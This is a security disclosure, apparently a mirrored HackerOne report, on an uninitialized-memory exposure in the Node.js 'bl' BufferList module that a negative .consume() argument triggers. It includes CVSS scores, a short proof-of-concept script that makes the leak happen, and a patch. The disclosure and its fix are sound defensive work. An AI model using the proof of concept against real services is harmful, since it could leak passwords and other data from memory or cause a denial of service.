Lucene search

K
hackeroneChalkerH1:966347
HistoryAug 24, 2020 - 10:04 p.m.

Node.js third-party modules: [bl] Uninitialized memory exposure via negative .consume()

2020-08-2422:04:17
chalker
hackerone.com
100

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:N/A:P

0.001 Low

EPSS

Percentile

49.5%

Module

module name: blversion:4.0.2npm page: https://www.npmjs.com/package/bl

Module Description

> A Node.js Buffer list collector, reader and streamer thingy.

Module Stats

8 660 595 weekly downloads

Vulnerability

Vulnerability Description

If user input (even typed) ends up in consume() argument and can become negative,
BufferList state can be corrupted, tricking it into exposing uninitialized memory via
regular .slice() calls.

Steps To Reproduce:

const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
  const clone = Buffer.from(secret)
  const bl = new BufferList()
  bl.append(Buffer.from('a'))
  bl.consume(-1024)
  const buf = bl.slice(1)
  if (buf.indexOf(clone) !== -1) {
    console.error(`Match (at ${i})`, buf)
  }
}

Patch

First component (more important):

In BufferList.prototype.copy, before the last return dst:

  if (dst.length !== bufoff) return dst.slice(0, bufoff)

Second component:

Check .consume() argument to be a non-negative integer.

Supporting Material/References:

  • Node.js v14.8.0

Wrap up

  • I contacted the maintainer to let them know: Y
  • I opened an issue in the related repository: N

Impact

In case if the argument of consume() is attacker controlled:

  1. Expose uninitialized memory, containing source code, passwords, network traffic, etc.
  2. Cause invalid data in slices (low control)
  3. Cause DoS by allocating a large buffer this way (with a large negative number before a slice/toString call is performed).

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:N/A:P

0.001 Low

EPSS

Percentile

49.5%